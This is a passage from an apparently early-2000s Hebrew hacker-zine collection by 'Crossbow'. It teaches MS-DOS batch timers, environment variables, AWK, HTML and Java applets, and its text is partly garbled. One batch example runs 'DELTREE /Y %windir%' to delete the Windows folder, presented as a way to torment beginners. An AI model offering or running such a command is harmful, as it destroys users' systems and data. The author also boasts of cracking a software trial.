שיאים המטומטמת של המשחק המפגר "בונוס" ...כן ,כן ,כן! פתחתי את הקובץ
שבו נמצאת הטבלה ,וכמובן ,מצאתי משהו מוזר לאללה :במקום אותיות בעברית,
מצאתי כתב סתרים מטומטם!!! אז חשבתי קצת ,ובסוף גיליתי משהו :בונוס הוא
בנוי על אם אס דוס ...ואם אס דוס לא קורא עברית כרגיל :אם אס דוס הוא הרי
באנגלית .אז לקחתי את הטקסט של הטבלה ,ובניתי קובץ אצווה שיראה על המסך
את הכתב סתרים הזה .ולתדהמתי ,גיליתי שבאם אס דוס רואים שמות בעברית!!!
אז זה הולך ככה :אם אס דוס מתרגם קי אסקיי מסויים לאותיות עבריות .אז הנה
כל האותיות בעברית ,מסודרות בטבלה על ידי עבדכם הנאמן ...תלחצו על שיפט
וקונטרול השמאליים ,כדי לראות את זה .האותיות מדורות לפי סדר כרונולוגי:
ƒ"…†‡ˆ‰‹ ''"--˜™"o‚€
טוב ,האותיות למעלה כוללות גם אותיות סופיות ,גם לפי סדר אלפביתי .טוב,
עכשיו ,אני רוצה להסביר לכם איך לעזאזל עשיתי את זה ,כי אני לא רוצה לתת
לכם מידע סתם ככה באינפוזייה ,בלי שתבינו .אז בואו נראה :הבנתי שכשפותחים
את האותיות העבריות בנוטפאד ,תוכנה בוינדואוז ,הנוטפאד פותח את האותיות
באופן לא מתורגם לקי אסקיי .אז עשיתי ככה:
טוב ,אז תהנו עם העברית ,למרות שגארדיאן אנג'ל מעדיף אנגלית .חחחחחחחח...
סתאאאאאאאאם בצחוק .שלכם,
Crossbow
514
BATCHעם TIMER
טוב ,זה היה קצת מסובך לגלות ,אבל אחרי שמגלים משהו קטן ,הכל קל מאוד.
איזה טמבל הייתי ,איזה אידיוט! התשובה הייתה שם כל הזמן ...כל מה שהייתי
צריך זאת תאונה קטנה כדי לגרום להרצה להתרחש .כל כך קטן ,כל כך פשוט ,כל
כך קומפקטי ,עד שזה פשוט גומר לי את השכל איך לא עשו את זה קודם ...אז
הנה הקוד של הטיימר ,ובסופו יש כמובן הסברים .לחצו כמובן על קונטרול וגם
על שיפט כדי לראות נכון את הקוד:
ECHO OFF
CLS
Tmr:
TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL
!!!ECHO It works
GOTO Tmr
הסברים
כל מה שיבוא בין העיקוב לבין המילים GOTO Tmrבעצם יהיה הקוד הפנימי של
הטיימר .עכשיו נעבוד על התדירות של הטיימר ,האינטרוואל.
טוב ,רואים בקוד את השורה הארוכה הזאת? מה היא אומרת? טוב ,היא משתמשת
בקובץ של מערכת אם אס דוס שנקרא ,CHOICE.COMשבעצם אחראי על בחירה פנימית
של המשתמש וכאלה .לדוגמא ,נסו לכתוב בחלון אם אס דוס את המילה Choiceואז
ללחוץ על אנטר ,ותראו מה ייקרה .טוב ,מה שהולך פה הוא בעצם עיקוב מערכת,
נקרא באנגלית ,Delayיעני ,המערכת מחכה לתגובה מהמשתמש .פה יש אפשרות של
לחכות למשתמש בזמן מסויים ,יעני ,המערכת לא מגיבה במשך כמה שניות .טוב,
הנה ההסברים שאתם צריכים לדעת על העיקוב:
טוב ,אינטרוול זה פעם בכמה זמן הטיימר יעבוד שוב .אז זה הולך ככה .זוכרים
את העיקוב שעשינו? רואים איפשהו בשורה הזאת את המספר אחד? עכשיו ,זה אומר
שפעם בכל שניה הטיימר יחזור על עצמו .עכשיו ,אם נשים את המספר ,2זאת
אומרת שהטיימר יעבוד פעם בשתי שניות .התיכנות הזה עובד בדיוק כמו טיימר
ברוב שפות התיכנות הידועות .קחו לדוגמא את ויזואל בייסיק :כמה שהאינטרוול
יותר גדול ,ככה הטיימר יותר איטי ,חוץ ממקרה מיוחד ,שהאינטרוול הוא אפס,
ואז כל הטיימר בכלל לא עובד .טוב ,גם פה בקובץ האצווה ,כמה שהאינטרוול
גדול יותר ,ככה הטיימר איטי יותר ,וכאשר האינטרוול הוא אפס ,הטיימר לא
יעבוד.
515
יאללה ,מגיעה לכם מתנה לפעמים...
בניתי לכם תוכנה מהירה וטובה בפסקל ,שפשוט רושמת את זמן המערכת העכשווי,
שלי לשאול שאלות .אז ,הנה הנחיות ליצירת שעון משלכם בקובץ אצווה:
ECHO OFF
CLS
Tmr:
TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL
CLS
CALL TimeNow
GOTO Tmr
הקוד מקור של השעון ,גם ככה זה סתם דבר שבניתי בחצי דקה...
Crossbow
516
משתנים מתקדמים ב BATCH
היום אנחנו הולכים לנגוע קצת במשתנים מתקדמים בתוך מערכת אם אס דוס.
אנחנו נלמד על תחביר חדש ,ומאפיינים מתקדמים בתוך קבצי אצווה.
הרעיון עצמו פשוט מאוד :ישנם כמה משתנים שמאותחלים באופן תמידי בתוך
הקובץ ,Autoexec.batכאשר המערכת מאותחלת .המשתנים האלה מאפשרים למערכת
Ms - Dosולמערכת Windowsלתקשר עם ברירות מחדל מסויימות .כנסו לאם אס
דוס ,כתבו setולחצו אנטר .הפלט יהיה כל המשתנים המיוחדים פלוס הערכים
שלהם .עכשיו אני אתן כאן הסבר לכמה משתנים מיוחדים:
TMP
תיקיית הקבצים הזמניים .Temporary ,בדרך כלל (כתלות במיקום שבו התקינו את
מערכת )Windowsהערך שלו הוא .C:\Windows\Tempמשתנה TMPמשומש בעיקר
בתוך ,Windowsאבל במערכת Ms - Dosהמקורית אין לו שימוש .משתנה TMP
מיוצג לעיתים גם בשם ,TEMPיכול להיות שיהיו לכם את שניהם ,יכול להיות רק
אחד מהם.
PROMPT
מצב הפרומפט .הפרומפט הוא מה שכתוב לפני שורת הפקודה .אפשר לשנות את
הפרומפט על ידי שימוש פשוט בפקודה .Promptאני ממליץ להשתמש בפרמטר העזרה
שהוט סלאש ואחריו סימן שאלה .ברירת המחדל של PROMPTהוא .p$g$ :עכשיו,
p$פירושו המיקום Pathהנוכחי g$ .פירושו סוגר משולש כזה .< :לגבי $p
השימוש ברור אבל לגבי g$אני אתן הסבר :הסימן < בתוך אם אס דוס הוא גם
סימן של פלט לתוך קובץ .לדוגמא ,נסו לרשום dir > fuck.txtותראו מה קורה.
פרומפט משומש בתוך ,Ms - Dosואין לו קשר למערכות .Windowsבקיצר ,פרומפט
מתאים לשורת פקודה בלבד.
winbootdir
PATH
COMSPEC
משמש את מערכת .Ms - Dosמשתנה זה חשוב מאוד ,כי הוא מייצג את הקשר בין
הגרעין לשורת הפקודה .הערך שלו יהיה תמיד איפה שהגרעין נמצא ,בדרך כלל
517
זה יהיה .C:\Windows\Command\Command.com
BLASTER
כתובת הסאונד בלסטר שלכם בתוך הזיכרון .מאפשר השמעת צלילים תחת Windows
או ,Ms - Dosבעיקר תחת .Ms - Dosאני מציע לכם לא לשנות את משתנה
BLASTERשלכם ,אלא אם כן אתם מוכנים לוותר על השמעת צלילים שלא יוצאים
מתוך .Internal Speaker
טוב ,הרעיון עצמו מאוד פשוט .כל משתנה ייכתב בין שני סימני אחוזים.% :
אפשר לשלב את המשתנים המיוחדים בכל תחביר של כל פקודה .בואו נבנה קובץ
אצווה ,שיציג לנו את התיקייה שבה מותקן ,Windowsואחרי זה דופק לנו איזה
משפט נחמד גם .הנה קוד המקור:
ECHO OFF
CLS
.ECHO Checking for Windows folder in your system
.%ECHO Shit!!! Windows exists: %windir
?ECHO Please delete this folder: %windir%, Ok
הסברים
טוב ,שורה ראשונה מעלימה את פקודות קובץ האצווה מעיניו של המשתמש .שורה
שנייה מנקה את המסך .שורה שלישית מציגה פלט סטנדרטי ,בלי שום דברים
מיוחדים .שורה רביעית דופקת לנו פה פלט שמשולב עם המשתנה .%windir%גם
בשורה חמישית יש לנו פלט משולב עם משתנה .אפשר ליצור דברים קצת יותר
דינאמיים גם ,למשל ,בקובץ האצווה הקודם הייתי נחמד וביקשתי מהמשתמש להעיף
את מערכת ,Windowsאבל הייתי יכול להיות קצת יותר מניאק ולעשות את העבודה
הזאת בעצמי ,ככה:
ECHO OFF
CLS
...ECHO I don't need you to delete Windows
!!!ECHO I can do it myself
%DELTREE /Y %windir
!!!ECHO Yeah
מילים לסיום
אין לי הרבה מה להגיד כאן .הטקסט הזה היה בסך הכל למתחילים ולכאלה
שמתעניינים בשיטות להתעלל בניובאייז ובאיך לעזאזל בנויה מערכת שורת פקודה
כמו .Ms - Dosאני בכל זאת מקווה שנהנתם .שלכם,
Crossbow
518
AWK
אחרי ששאלתי לא מעט אנשים ,וגם לא מעט אנשים שאלו אותי ,אני סוף סוף עושה
טקסט על אחת השפות הלא מוכרות שיש :שפת .Awkשפת Awkהיא שפת התיכנות
הסטנדרטית של מערכות ,Posixולינוקס משתמשת בגרסא של גנו לשפת .Awk
בשורת הפקודה של שפת ,Awkאתם תצטרכו לציין תוכנה שאתם רוצים להפעיל ,ע"י
הקלדתה של התוכנה או ע"י הגדרה של שם הקובץ שמכיל אותה .תצטרכו גם לציין
קבצים ששפת Awkתבצע עליהם עיבודים .אם אתם מכירים את שפת ,Awkאולי אתם
יודעים שלשפת Awkברשיון גנו קוראים גם ,Gawkאבל זאת אותה שפה .שם השפה
Awkהוא קיצור של השלושה שחיברו אותה .Aho, Kernigan, Weinberger :טוב.
תוכנית Awkבנויה מזוג אחד או יותר של תבנית או פעולה .הטקסט בקובץ הקלט
מעובד שורה אחרי שורה ,תוך כדי חיפוש של התבנית הזאת .לדוגמא ,ניקח קובץ
ששמו יהיה ,HackAwk.txtשמכיל את השורות האלה (קונטרול ושיפט):
Math 80 75
Phisics 90 95
Gim 95 85
Computers 70 95
Bible 95 80
הסברים
מה שיש בין הסוגריים המסולסלים הוא פקודת ,printשפירושה הוא להוציא פלט
החוצה .הוא מוציא את העמודה השלישית ,ובמקביל את החיבור של שני העמודות
האחרות חלקי שניים (ממוצע).
מי שיודע תיכנות בסיסי ,יודע שיש משהו שקוראים לו תנאי ,שבעצם מחזיר ערך
בוליאני (נכון או לא נכון) .יעני ,אם התנאי מתקיים ,יש ערך נכון ,ואם זה
לא מתקיים ,אז יש ערך לא נכון .ברוב שפות התיכנות הסטנדרטיות הפקודה היא
המילה ,IFאחריה תנאי ,אחריו המילה ,THENואחריה התוצאה אם התנאי מתקיים.
לא כך בשפת .Awkהנה דוגמא ,עדיין על הקובץ ,HackAwk.txtשבעצם עושה משהו
על תנאי מסויים (קונטרול ושיפט):
התנאי הוא אם התלמיד הראשון קיבל תשעים ומעלה .אם הוא קיבל ,הפלט יהיה
המקצוע ולידו הציון של התלמיד הראשון .אם הוא לא קיבל מעל שמונים ,אז לא
יהיה פלט ,והתוכנית תדלג על השורה.
אתם יכולים גם ליצור קובץ אצווה מסויים ,ואותו תפעילו אחר כך מתוך שורת
הפקודה של לינוקס .לדוגמא ,תיכנסו לעורך הטקסט שלכם ,אני ממליץ להשתמש
בעורך קל ,כגון Picoאו ,Emacsותכתבו את השורה הבאה (קונטרול ושיפט):
519
} print $3, $1 { 90 >= $1
אחר כך תשמרו אותו בקובץ ששמו יהיה ,AwkTryואז תצאו לשורת הפקודה במערכת
לינוקס .תכנסו למיקום שבו נמצא ,AwkTryואז כיתבו בשורת הפקודה את השורה
הבא (קונטרול ושיפט):
הסברים
טוב ,אחרי ששמרנו את הקובץ עם הפקודות בתוכו ,אנו קוראים בשורת הפקודה
להריץ סקריפט ,Awkואז אנחנו מגדירים להריץ לא סתם סקריפט ,Awkאלא קובץ
שמכיל סקריפט ,Awkואז את שם הקובץ שמכיל את הסקריפט ,ואז את שם הקובץ
שאנחנו רוצים לעבד .הפלט שיינתן לנו יהיה אותו פלט כמו מקודם ,אבל בקובץ
אצווה של סקריפט Awkזה הרבה יותר שימושי ובר ביצוע.
תנאי לא מתקיים
האמת היא שאין כזה דבר בשפת Awkתנאי שלא מתקיים ,כי תנאי שלא מתקיים הוא
פשוט לא מראה פלט שלו ,אבל אפשר לכתוב בקובץ אצווה של סקריפט Awkשני
תנאים .התנאים הם הפוכים (תלחצו קונטרול ושיפט):
טוב ,זה אומר שאם התלמיד הראשון קיבל תשעים ומעלה ,אז הוא כותב את המקצוע
ואחריו את הציון ,אבל אם הוא קיבל מתחת לתשעים ,הוא כותב שבעצם הציון לא
טוב מספיק .הי ,תמיד הייתי שאפתן ,לא?
טוב ,זה כמובן רק מעט מאוד משפת ,Awkהשפה הזאת היא שפה עשירה הרבה יותר
ממה שאתם חושבים וכוללת לולאות ( ,)Loopsאופרטורים נוספים ,משתנים ,עוד
פונקציות ועוד ...תנסו לעבוד בינתיים על זה ,כי זאת שפה שימושית לאללה!
טוב ,בי ,שלכם,
Crossbow
520
HTML
דבר ראשון ,אני רוצה לעשות הקדשה פה :ההקדשה היא לאתר של סיגל ברוכמן,
האתר הכי טוב לתיכנות דפי אינטרנט ,שנסגר .חבל ,תמיד הכל מתחיל ונגמר
איפשהו בתקציב .אני יודע שהאתר של סיגל היה ההתחלה של הרבה מתכנתים .אז
עכשיו מתחילה הכתבה ,ומי שכבר רוצה ללמוד אז סליחה על הקטע הרגשני הזה.
טוב ,בזמן האחרון כולם שואלים אותי באייסיקיו מה צריך כדי להיות האקר כמו
כל החברים בטייגרס ,אז אני אומר שכדאי מאוד ללמוד לתכנת .אז כולם שואלים
איזה שפות תיכנות ,ואיך אני לומד את זה וכאלה .אז במקום לקחת קורס מטומטם
שלא ילמד אותך כמעט כלום במחיר שיגרום לאבא אמא לקחת סכין יפנית ולחתוך
משהו בקרבה ,אולי אפילו אתכם ,עדיף שתקראו את הטקסט הזה .טוב ,רק שתדעו
שלדעתי הדבר הכי קל וטוב ובסיסי שהאקר צריך לדעת זה תיכנות בשפה חמודה
לאללה שנקראת שפת .HTMLאני לא זוכר מה ראשי התיבות של זה ,אני יודע שיש
לזה פירוש ,אבל יש לי בעייה בלזכור ראשי תיבות וקיצורים ,אז שיהיה .טוב,
כל פקודה בשפת HTMLרגילה ,יעני שלא מעורבת עם סקריפטים וכאלה ,תגיע בתוך
סוגריים משולשים .כשבנו את השפת תיכנות הזאת ,כמו בכל שפת תיכנות ,ידעו
שהתוכנה תהיה צריכה סימן להתחלת וסיום פקודה ,משהו כמו lpבשפת אסמבלר,
למי שמבין .בקיצר ,אני ממליץ למשתמשים מתחילים להוריד משהו לעריכת דף
אינטרנטי ,אני ממליץ על .Edit Plusנכון ,היא מוגבלת יעני לשלושים יום,
אבל פרצתי אותה אחרי עשר דקות ,ועשיתי שהתוכנה תחשוב שיש לי עוד חמש מאות
יום עד להגבלה .בקיצר ,דף אינטרנט ריק ייראה בערך ככה:
<>BODY
<>BODY/
<>HTML/
טוב ,כמו שכולכם יודעים ,לכל חלון יש כותרת למעלה .עכשיו ,כמו ברוב שפות
התיכנות המיועדות לוינדואוז ,אפשר לשנות את הכותרת .אתם רואים בשורה
הרביעית של המסמך החדש שלנו את הסוגריים המשולשות ,וביניהם המילה ?TITLE
טוב ,בין שני הפקודות TITLE :וגם TITLE/נמצאות מילים .המילים שכתובות שם
עכשיו הן .NEW DOCUMENTאתם יכולים לשנות את זה למה שאתם רוצים .טוב ,אני
חושב שדי מיצינו את הקטע של הכותרת .עכשיו נבנה בעצמנו משהו .נגיד שאנחנו
רוצים לכתוב טקסט רגיל .עושים את זה ככה:
<>FONT COLOR = "red" SIZE = 24> This Is My First Fucking Page </FONT
521
אוקיי ,נסו קצת להתעסק עם פונט .עכשיו נתחיל עם תמונות .דבר ראשון צריך
תמונה .תפתחו את הצייר ושרבטו משהו .שלא יהיה ציור גדול מידי מבחינה יותר
פיזיקלית ,יעני שלא יהיה 10000פיקסלים ,טוב? עכשיו שימו אותו באותה
התיקייה שבה אתם רוצים לשמור את הקובץ שלנו .תקראו לו .Sex.bmpדגש חשוב:
בדרך כלל לא משתמשים באינטרנט בתמונת מפת סיביות ( ,)bmpכי זה סוג קובץ
עם איכות טובה ,אבל הוא תופס יותר מדי מקום .בדרך כלל משתמשים בשני סוגים
עיקריים Jpg :וגם בסוג .Gifאחרי ששמרתם ,תכתבו עכשיו בתוך התיכנות:
וזהו .זאת פקודה מיוחדת ,שבעצם בנוייה בלי סגירה .עכשיו ,בואו נשמור את
הקובץ .בהנחה שאתם משתמשים בעורך דפי אינטרנט ,פשוט תשמרו .עכשיו ,בדרך
כלל הסיומות של דפי אינטרנט הם ,htmlאבל יש גם .htmלא משנה .פשוט תשמרו
את הקובץ שלכם ,ותשמרו באותה תיקייה שבה נמצא הציור מקודם .טוב ,עכשיו
כנסו לתיקייה שבה שמורים קובץ דף האינטרנט והתמונה ,ותלחצו פעמיים על דף
האינטרנט שלכם .הפלא ופלא! יש תמונה! טוב ,עכשיו ,בניגוד לשפות תיכנות
אחרות ,אין לשפה הזאת קימפול וקובץ פרוייקט לחוד ,אלא שמירת הקבצים נעשית
כבר עם הקימפול ,כמו בקבצי אצווה שנשמרים גם בלי קימפול .אז מה זה אומר?
זה אומר ,שאתם יכולים להכנס לאינטרנט ,להוריד איזה דף אינטרנט ,ואז לפתוח
אותו עם העורך שלכם ,ולבדוק מה כל פקודה עושה לחוד .אני ממליץ מאוד על
השיטה הזאת ,כי פשוט יש יותר מדי פקודות כדי שאני אלמד אתכם .עוד דבר
בסיסי בדף אינטרנט הוא קישורים .עכשיו ,תשמרו את הדף הקודם ,ואז תיצרו
דף חדש .בדף החדש אני רוצה שנעשה קישור לדף הקודם ששמרנו .למי שלא יודע,
קישור הוא בעצם טקסט שאם לוחצים עליו הדפדפן מבצע פעולה מסויימת .כמו
בדפדפן ,הקישור יכול להופיע במספר צורות .הנה הצורות שאתם צריכים לדעת:
- httpדף אינרטנט
- fileקובץ
- ftpתיקיית אינטרנט
- mailtoהודעת דואר
אני מקווה שאתם מבינים .אנחנו יצרנו קישור ,שהטקסט עליו הוא ,Calculator
ואם לוחצים על הטקסט הזה נפתח המחשבון של וינדואוז .עכשיו אפשר לעשות את
זה אחרת :אם לדף הראשון ששמרנו קוראים ,Cross.htmlאז נכתוב ככה:
תשמרו את זה בתיקייה איפה שכל הקבצים הקודמים ששמרנו ותריצו את זה .עכשיו
אני רוצה לתת לכם כמה טיפים אחרונים לפני סיום הטקסט הזה:
Crossbow
522
JAVA
היום נלמד על אחת מהשפות החזקות והטובות בעולם :ג'אווה .ג'אווה נחשבת
לשפה חזקה מאוד ,היכולה לרוץ על כל פלטפורמה בלי שינויים ,ויכולה גם לשמש
ליצירת אפלטונים אינטראקטיביים בדפי אינטרנט.
523
בניית התוכנית הראשונה שלנו
טוב ,בואו נתחיל .לפני שנתחיל מספר דברים חשובים .יש לשמור את כל קבצי
המקור של תוכנית בג'אווה בסיומת .javaכל הקבצים המקומפלים של תוכנית של
ג'אווה בעלי סיומת ( classבניגוד לקבצי הרצה רגילים) .כל קבצי קוד המקור
נשמרים כקובצי טקסט פשוט ,כלומר ,תוכלו לערוך אותם באמצעות כל עורך טקסט
רגיל ,כגון Notepadשל וינדוס Edit ,של דוס ,או Emacsשל לינוקס .בכל זאת
עדיף שיהיה לך עורך טוב של ג'אווה .העורך של JBuilderמצוייד במזהה של
פקודות מוכרות ,והממשק שלו דומה לממשק של החלק של קוד המקור בשפה הידועה
ויזואל בייסיק .מתכנתי סי פלוס פלוס מנוסים יוכלו לדלג על כמה דברים פה,
או שיקבלו אותם בתור חזרה על השפה .טוב ,פה ועכשיו יוצג לכם קוד בסיסי
ופשוט מאוד בג'אווה ,ואחריו הסברים:
הסברים
טוב ,בהתחלה יש לנו הצהרה על מחלקה חדשה ,ששמה הוא ,Whatsupואחרי השם של
המחלקה סוגריים מסולסלים .כל מה שיהיה בין הסוגריים האלה שייך למחלקה.
שורה אחר כך יש לנו הצהרה על פונקציית ,Mainכמו בסי .לאחר מכן יש לנו
הוצאת טקסט ( .)System.out.printlnואחריה פתיחה של סוגריים רגילים .כל מה
שיהיה בין הסוגריים הרגילים יוצג כפלט על המסך .כרגע נשתמש במרכאות שיהיו
בתוך הסוגריים הרגילות ,אבל בעתיד נוכל לשלב טקסט רגיל (בין מרכאות) ,יחד
עם משתנים ( ,)Variablesשלא יוקפו במרכאות .לאחר שסיימת להעתיק את קוד
המקור של התוכנית ,שמור את התוכנית בשם ,Whatsup.javaוצא מהעורך .עכשיו,
קמפל את הקובץ הזה .צריך להווצר לך קובץ .classעכשיו ,הפעל את הקובץ
שעכשיו קימפלת ,בעזרת המכ 9ונה הוירטואלית שצריכה להיות מותקנת אצלך .אם
אתה עובד תחת ,Windowsתצטרך להריץ את הקובץ דרך דוס ,אם אתה עובד תחת
,Linuxתצטרך להריץ אותו מהטרמינל ,או בקיצר ,תצטרך להריץ את הקובץ דרך
ממשק לא גרפי ,דרך ממשק שורת פקודה .דרך אגב ,בדוס ,למשל ,וודא כי אתה
מריץ את הקובץ בשמו המלא ,כי בדוס קובץ שנקרא CrossCool.classייקרא בדוס
בשמו המקוצר ,CrossC~1.cla :אך המכונה הוירטואלית מזהה שמות מלאים בלבד.
אם עשית עד עכשיו הכל כמו שצריך ,אתה אמור לקבל פלט על מסך הטרמינל שלך,
שייראה ככה.?How do you do, Crossbow :
עבודה עם אובייקטים
טוב ...בג'אווה ,לעומת ויזואל בייסיק ,אין דרך ויזואלית ליצירת אובייקטים
על פני משטח .למרות שהיום כן קיימים מספר כלים ליצירת אובייקטים באופן קל
ומהיר בג'אווה ,אני ממליץ לכם ללמוד ליצור את האובייקטים לבד (זה יותר
מקצועי) .טוב ,אובייקטים ( )Objectsבג'אווה יכולים להקרא גם לפעמים בשם
מופעים ( .)Instancesהאובייקטים נוצרים בזמן הריצה בתוך המחלקה .המחלקה
בעצם משמשת ליצירה של אובייקטים בעלי מאפיינים דומים .בעצם ,אינכם יכולים
ליצור אובייקט יחיד ,אלא מחלקה של אובייקטים .האובייקטים במחלקה הם בעצם
המאפיינים בה .למשל ,אתה יכול ליצור מחלקת "שפת תיכנות" ,ואז לתאר את
המאפיינים שלה כאובייקטים ,לדוגמא" :שפת סף או שפה עילית"" ,שפה מונחית
אובייקטים או לא" או "שפה הרצה על פלפורמה יחידה או על מספר פלטפורמות".
הרעיון הוא שאתם יוצרים את המאפיינים של המחלקה שלכם.
דוגמא למחלקה
כעת ניצור מחלקה שתתאר משהו .למשל ,מחלקה כמו מקודם ,שתתאר מאפיינים של
524
שפת תיכנות .הנה קוד המקור:
הסברים
טוב ,יצרנו ,כמו שרצינו למעלה ,תוכנית שמקבלת הגדרות מסויימות של שפת
תיכנות ,הכוללות את שם השפה ,אם היא שפת עילית או סף ,אם היא מונחית
אובייקטים ,ועל איזה פלטפורמות היא רצה .ההתחלה שלנו היא ,כמובן ,הגדרת
מחלקה חדשה בשם .Progמאפייני המחלקה מתחלקים למאפיינים (המצויינים ישר
לאחר ההגדרה) ,ופונקצייה (המציגה פלט על המסך בהתאם למאפיינים) .מאפייני
המחלקה פה מתחלקים לשני סוגים :מחרוזת ( )Stringוערך בוליאני (.)Boolean
עכשיו ,מחרוזת היא טקסט ,פשוטו כמשמעו .מאפיין מסוג Stringיוכל להחזיק
רק טקסט ,ולכן יצויין במרכאות כפולות .ערך בוליאני הוא ערך שיכול להיות
בשני מצבים :נכון או לא נכון ( .)True or Falseערכים בוליאנים שימושיים
מאוד במשתנים ומאפיינים ברוב שפות התיכנות ,כמו גם מחרוזות .טוב ,ההצהרה
על מאפיין מחולקת לשני חלקים :סוגו של המאפיין והשם של המאפיין .לדוגמא,
המשפט String typeבעצם אומר לנו ליצור מאפיין חדש שהערכים שלו יהיו
טקסטים (מחרוזת) .המאפיין ייוצג במילה .typeמשתמשי ויזואל בייסיק יבהלו,
מכיוון שבויזואל בייסיק שמות המאפיינים כבר קבועים מראש (אלא אם כן אתם
מתכנתים פקד משלכם) ,וזאת רק הוכחה לזה שג'אווה הרבה יותר פתוחה למשתמש.
בפונקצייה אנחנו משתמשים בפלט .הפלט צריך להיות לכם מהתוכנית האחרונה
שיצרנו מקודם ,אבל פה ערבבנו טקסט קבוע שייפלט ,וטקסט שייפלט בהתאם לערכו
של המאפיין .אפשר לערבב טקסט רגיל עם מאפיינים ,על ידי סימן פלוס ביניהם.
הפלוס נקרא אופרטור ,ועליהם נלמד מאוחר יותר .עוד דבר שהשתמשנו בו הוא
תנאי .ההצהרה על תנאי ,כמו ברוב השפות ,היא במילה .ifלאחר מכן אנחנו
רושמים את התנאי בסוגריים ,ולאחר מכן פותחים סוגריים מסולסלים .אחרי שכבר
פתחנו את הסוגריים המסולסלים ,אנחנו רושמים מה קורה אם התנאי שציינו אכן
525
מתקיים .לאחר התוצאה בתנאי שהתנאי שהצבנו מתקיים ,סוגרים את הסוגריים
המסולסלים.פה הוספנו גם מה קורה אם התנאי לא מתקיים ,על ידי הוספת הצהרה
מתאימה לכך ,המילה elseואחריה התוצאה אם התנאי אינו מתקיים .לאחר מכן,
סגרנו את הפונקצייה ,והתחלנו ליצור את גוף התוכנית ,על ידי הגדרה של
הפונקצייה .Mainלאחר מכן ,בגוף התוכנית ,יצרנו אובייקט חדש שמיוצג על
ידי האות האנגלית ,pוהוא אובייקט של המחלקה .Progהגדרנו את המאפיינים
של האובייקט ,על ידי נקודה בין שם האובייקט לשם המאפיין ,וסימן שוויון
בין שם המאפיין לערך שלו .לאחר מכן יישמנו את פונקציית showAttrsבעצם על
האובייקט (שמיוצג אצלנו על ידי האות .)pלאחר מכן הצגנו פלט משולב.
יישומונים (אפלטונים)
עוד גורם הצלחה חשוב מאוד של ג'אווה הוא יצירת היישומונים (אפלטונים) בה.
מי שהתנסה בתיכנון אתרי אינטרנט מקצועיים ,יודע ,שאתר שלא משתמש בקצת
אינטראקטיביות לא מעניין ,לא מושך ,ולא ייכנסו אליו .אתם תוכלו ,על ידי
שימוש ביישומונים של ג'אווה ,ליצור דפי אינטרנט דינאמיים ואינטראקטיביים
בקלות ובמהירות .לפני כל הקטע התיכנותי ,מספר כללים והערות לגבי אפלטונים
של ג'אווה .באפלטונים של ג'אווה אבטחה כבדה :אי אפשר לעשות משהו כלפי
המחשב של הגולש היחיד (וזה כולל מחיקת קבצים ,שינוי הרג'יסטרי וכדומה ,אך
למרות זאת אפשר יהיה למחוק קבצים מתוך השרת) .את האפלטונים של ג'אווה אי
אפשר להריץ ישירות בלי כלים מתאימים (שימוש בדף אינטרנט או שימוש בכלי
הנקרא .)Applet Viewerאפלטונים הם בעצם הרחבה של מחלקה הנמצאת בין שאר
המחלקות שבאות עם כל ערכת פיתוח של ג'אווה .עכשיו ,בין מחלקות בג'אווה יש
יחסים מסויימים .למשל ,מחלקה אחת יכולה להרחיב את השנייה .המחלקה המורחבת
נקראת מחלקת על ( ,)Superclassוהמרחיבה נקראת תת מחלקה ( .)Subclassעוד
דבר חשוב הוא שמחלקה יכולה להיות ציבורית ( )publicופרטית ( .)privateפה
אנחנו נשתמש במחלקה ציבורית.
יצירת יישומון
טוב ,פה אנחנו ניצור יישומון פשוט שיציג טקסט מסויים בצבע מסויים .נשמע
פשוט ,אבל יצירת יישומון היא הרבה יותר מסובכת מיצירת יישום רגיל .טוב,
הנה קוד המקור של היישומון ,ואחריו הסברים:
;import java.awt.Graphics
;import java.awt.Font
;import java.awt.Color
הסברים
אנחנו משתמשים בשלוש מחלקות מתוך חבילת :awtגרפיקה ,פונט וצבע .אחר כך
אנחנו מגדירים תת מחלקה המורחבת ממחלקה היוצרת יישומונים .לאחר מכן אנחנו
יוצרים מאפיין חדש המיוצג באות ,fמסוג .Fontבאותה שורה הגדרנו את סוג
הפונט ( ,)TimesRomanהצורה שבה יוצג (עבה ,)Bold -וגודלו ( .)36שורה
לאחר מכן השתמשנו בפונקציית paintהאופיינית לאפלטונים .הגדרנו את הפונט
של המסך בתור האובייקט שיצרנו מקודם (שמיוצג באות ,)fהגדרנו אותו כך
526
שיהיה בצבע כחול (לא לפי שיטת ,RGBאבל גם זה יגיע) .שורה לאחר מכן אנחנו
השתמשנו בפונקצייה שמציירת טקסט על המסך (והגדרנו את הטקסט עצמו שייכתב
יחד עם הנקודה הגבוהה והשמאלית ביותר על פי קורדינטות Xוגם .)Yולאחר
מכן סגרנו את המחלקה .קמפלו את התוכנית אחרי ששמרתם אותה בשם של המחלקה
עם סיומת אופיינית ,יעני Texting.javaיקומפל לקובץ .Texting.classצרו
דף Htmlחדש ובו הקוד הבא:
מילים לסיום
טוב ...אני מקווה שתמשיכו קצת עם ג'אווה ,זה כיף ,זה חזק ,וזה מקצועי!!!
תגובות והכל יירשמו בפורומים של האקינג ותכנות או באייסקיו או אי מייל.
שלכם בסבבה,
Crossbow
527
JAVA2
טוב ,היום נעבוד על יישומונים של ג'אווה עם שימוש יותר מתקדם .היום נעבוד
על יצירת אובייקטים ,על שימוש באירועים ,ובכלל על המון דברים שווים .טוב,
בואו נתחיל!!!
שימוש בממשק
כידוע ,בג'אווה אין לנו סביבה גרפית (כמו למשל בויזואל בייסיק) ,ואת הכל
אנחנו יוצרים בקוד המקור של התוכנה .ככה גם למשל ,אפשר ליצור אובייקטים
בזמן ההרצה בג'אווה ,דבר שהרבה יותר קשה ליצור בויזואל בייסיק .טוב ,את
הממשק אנחנו יוצרים בעזרת ערכה לשימוש בחלונות ,הנקראת .Awtערכה זו היא
בעצם סדרת מחלקות שמאפשרות ליצור ממשק משתמש גרפי וגם לקבל קלט מהעכבר
והמקלדת .ממשק המשתמש מכיל שלושה דברים:
מנהלי פריסה
אובייקט שקובע איך יהיו מסודרים כל אחד ואחד מהאובייקטים .מנהלי הפריסה
הם בלתי נראים למשתמש.
מיכלים
אובייקט שבתוכו ישנם אובייקטים אחרים .דוגמא טובה למיכל הוא החלון של
היישומון .עוד דוגמאות הם חלונות עצמאיים וגם תיבות דו שיח (.)Dialog Box
רכיבים
כל מה שניתן להוסיף לממשק עצמו .כולל כפתורים ,רשימות ,תפריטים ,תיבות
טקסט ,תוויות ועוד...
;*.import java.awt
הסברים
